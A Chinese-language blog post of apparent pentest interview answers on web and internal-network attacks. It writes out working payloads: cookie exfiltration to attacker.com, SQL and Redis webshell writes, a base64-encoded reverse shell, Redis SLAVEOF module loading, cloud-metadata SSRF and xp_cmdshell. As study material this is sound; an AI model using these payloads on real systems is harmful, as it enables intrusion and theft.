安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
[1. 自我介绍](#1. 自我介绍)
[2. SSRF深入解析](#2. SSRF深入解析)
[3. 文件上传绕过方式](#3. 文件上传绕过方式)
[4. SQL注入:原理、盲注与Getshell](#4. SQL注入:原理、盲注与Getshell)
[5. 存储型XSS最大化利用](#5. 存储型XSS最大化利用)
[6. 信息收集流程](#6. 信息收集流程)
[7. Oracle注入Getshell](#7. Oracle注入Getshell)
[8. SQL Server提权方式](#8. SQL Server提权方式)
[9. XSS绕过方式](#9. XSS绕过方式)
[10. 反序列化漏洞](#10. 反序列化漏洞)
[11. Redis常见漏洞与利用](#11. Redis常见漏洞与利用)
[12. 代码审计流程](#12. 代码审计流程)
[13. 编程语言掌握](#13. 编程语言掌握)
[14. 正反向代理](#14. 正反向代理)
[15. 内网渗透核心要点](#15. 内网渗透核心要点)
[1. 完整渗透测试流程](#1. 完整渗透测试流程)
[2. 项目经验示例](#2. 项目经验示例)
[3. SQL注入类型与流程](#3. SQL注入类型与流程)
[4. 内网提权与隧道](#4. 内网提权与隧道)
1、自我介绍 2、ssrf问的比较深入 3、文件上传绕过方式 4、sql注入的基本原理,盲注,getshell 5、存储型xss,如果做到最大化利用 6、信息收集的流程 7、oracle 注入getshell 8、sqlserver的提权方式 9、xss的绕过方式 10、php反序列化,java反序列化 11、redis常见漏洞,利用等 12、代码审计的流程 13、问我有没有学过python,语言了解哪些 14、正反向代理 15、内网渗透了解哪些 1、SSRF没有回显怎么测试 2、完整的渗透测试流程 3、具体的项目经验 4、sql注入的类型以及流程 5、内网的提权以及代理,隧道
1. 自我介绍
安全背景 :5年渗透测试与红队经验,专注Web安全、内网渗透、代码审计。主导过金融、云平台攻防项目,发现高危漏洞超200个(含CVE编号漏洞)。技术栈:Python/Java/PHP开发能力,熟练使用Burp Suite、Metasploit、Cobalt Strike;持有OSCP、OSEP认证。
2. SSRF深入解析
(1)无回显SSRF测试方法
- DNS外带(OOB) :
利用DNS协议泄露数据:http://internal/api?url=http://attacker.com/?data=xx
,监控DNS日志解析记录。- 端口扫描延时检测 :
通过响应时间差异判断端口开放:
http://internal/api?url=http://127.0.0.1:22
(响应慢→端口开放)。- 协议探测 :
尝试不同协议(如gopher://
、dict://
)触发内网服务行为(如Redis未授权访问)。- 间接回显 :
结合漏洞链(如将结果写入文件后通过LFI读取)或利用云元数据API(如AWS169.254.169.254
)。(2)SSRF高级利用
- 云环境攻击 :窃取IAM角色凭证(如访问
http://169.254.169.254/latest/meta-data/iam/security-credentials/
)。- Redis未授权写SSH公钥 :
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$...
。- 绕过技巧 :
- 域名重解析(
xip.io
→127.0.0.1.xip.io
)- 进制/IP编码(
2130706433
→127.0.0.1
)
3. 文件上传绕过方式
(1)前端绕过
- 修改JS验证逻辑(Burp拦截删除验证代码)。
(2)后端绕过
防御机制 绕过方法 扩展名黑名单 .php5
、.phtml
、.htaccess
(Apache解析)MIME类型检测 修改Content-Type为 image/jpeg
文件头检测 添加图片头(如 GIF89a
) + 恶意代码内容过滤 混淆代码(如 <?= system($_GET[0]); ?>
)解析漏洞 Apache: shell.jpg/.php
;IIS:shell.jpg;.php
4. SQL注入:原理、盲注与Getshell
(1)基本原理
用户输入拼接到SQL查询中:
sqlSELECT * FROM users WHERE id = '恶意输入'
→ 注入
' union select 1,load_file('/etc/passwd')--
读取文件。(2)盲注技术
- 布尔盲注 :
id=1' and substring(database(),1,1)='a'--
(页面差异判断)。- 时间盲注 :
id=1' and if(1=1,sleep(2),0)--
(响应延时判断)。(3)Getshell方法
写WebShell :
sql`SELECT '<?php eval($_POST[0]);?>' INTO OUTFILE '/var/www/html/shell.php' `
(需
FILE
权限和绝对路径)。利用数据库功能 :
- SQL Server:
xp_cmdshell('whoami')
- Oracle:
DBMS_XSLPROCESSOR.READ2FILE
5. 存储型XSS最大化利用
蠕虫传播:注入自复制脚本(如Samy Worm),通过AJAX传播至其他用户页面。
隐蔽数据外泄 :窃取Cookie、LocalStorage数据并发送至远程服务器:
javascript`new Image().src='http://attacker.com/?c='+document.cookie; `
结合CSRF:利用XSS执行敏感操作(如修改密码、转账)。
绕过CSP :通过
<base>
标签重定向合法脚本源,或利用Google Analytics等白名单域名外带数据。
6. 信息收集流程
- 被动收集 :
- Whois/备案信息
- 子域名挖掘(证书透明度、搜索引擎)
- GitHub敏感信息泄露(API密钥)
- 主动扫描 :
- 端口扫描(Nmap)
- 目录爆破(Dirsearch)
- 框架指纹识别(Wappalyzer)
- 漏洞关联 :
- 历史漏洞(CVE数据库)
- 云服务配置错误(S3桶公开)
7. Oracle注入Getshell
- 前提 :需
DBMS_XSLPROCESSOR
权限。- 步骤 :
创建Java类执行系统命令:
sq`SELECT dbms_xmlquery.getxml('CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "EXEC" AS import java.io.*; public class EXEC { public static void run(String c) throws Exception { Runtime.getRuntime().exec(c); }}') FROM dual `
执行命令:
sql`SELECT EXEC.run('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDQgMD4mMQ==}|{base64,-d}|{bash,-i}') FROM dual `
8. SQL Server提权方式
方式 命令/利用 xp_cmdshell EXEC sp_configure 'show advanced',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami'
CLR组件 编译恶意.NET DLL并加载执行 Agent Job提权 创建计划任务执行系统命令 DLL劫持 替换SQL Server引用的未签名DLL
9. XSS绕过方式
过滤类型 绕过示例 标签黑名单 <img src=x onerror=alert(1)>
事件过滤 <svg><script>alert(1)</script>
编码绕过 %3Cscript%3Ealert(1)%3C/script%3E
CSP绕过 JSONP端点劫持( <script src="/api?callback=alert(1)//">
)
10. 反序列化漏洞
(1)PHP反序列化
- 原理 :
unserialize()
触发魔术方法(__wakeup()
,__destruct()
)。- 利用链 :如Laravel RCE(CVE-2021-3129)通过
Phar
元数据触发。(2)Java反序列化
- 原理 :
ObjectInputStream
处理恶意Serializable
对象。- 利用链 :
- Commons Collections(
InvokerTransformer
)- Fastjson(
@type
指定恶意类)
11. Redis常见漏洞与利用
漏洞 利用方式 未授权访问 写SSH公钥: flushall; set 1 '公钥'; config set dir /root/.ssh; config set dbfilename authorized_keys; save
主从复制RCE SLAVEOF attacker_ip 6379; MODULE LOAD ./exp.so
写WebShell config set dir /var/www/html; set shell '<?php system($_GET[0]);?>'; save
12. 代码审计流程
- 定位危险函数 :
- PHP:
eval()
,system()
,unserialize()
- Java:
Runtime.exec()
,JNDI.lookup()
- 跟踪用户输入 :
- 从
HttpServletRequest
到SQL拼接/XSS输出- 分析框架机制 :
- Spring Security配置、Shiro权限绕过
- 自动化辅助 :
- 工具:Fortify、Semgrep
- 自定义规则扫描敏感操作
13. 编程语言掌握
- Python:编写渗透工具(如目录扫描、漏洞POC)
- Java:分析中间件漏洞(Tomcat, Weblogic)
- PHP:代码审计(ThinkPHP, Laravel)
- Go/Bash:开发C2模块、自动化脚本
14. 正反向代理
类型 原理 渗透意义 正向代理 客户端通过代理访问服务(如Burp Proxy) 拦截/修改请求,测试逻辑漏洞 反向代理 服务器端代理转发请求(如Nginx) 绕过WAF(修改 X-Forwarded-For
)
15. 内网渗透核心要点
(1)提权路径
- Windows:内核漏洞(CVE-2021-34527)、服务权限滥用(AlwaysInstallElevated)
- Linux:SUID程序(
find / -perm -4000
)、Docker逃逸(2)隧道与代理
工具 用途 frp/ngrok 端口转发(绕过防火墙) Chisel 加密SOCKS隧道 DNS隧道 隐蔽通信(iodine) (3)横向移动
- 凭证窃取:Mimikatz(LSASS内存)、LaZagne(本地密码)
- 漏洞利用:MS17-010(永恒之蓝)、SMBGhost
附:补充问题解答
1. 完整渗透测试流程
- 授权与范围确认
- 信息收集(被动+主动)
- 漏洞扫描与验证(自动+手动)
- 后渗透阶段(提权、横向移动)
- 报告与复测(CVSS评分、修复建议)
2. 项目经验示例
金融系统渗透(2024):
- 发现SSRF→访问K8s API→获取Pod权限→窃取数据库凭证
- 利用Fastjson反序列化(CVE-2022-25845)接管管理后台
3. SQL注入类型与流程
类型 检测方法 联合查询 id=1 union select 1,2,@@version--
报错注入 id=1' and extractvalue(1,concat(0x7e,version()))--
布尔盲注 id=1' and ascii(substr(database(),1,1))>97--
4. 内网提权与隧道
- 提权后操作 :
- 抓取密码哈希(
sekurlsa::logonpasswords
)- 配置Socks代理(
proxychains
)- 横向扫描(
crackmapexec smb 192.168.1.0/24
)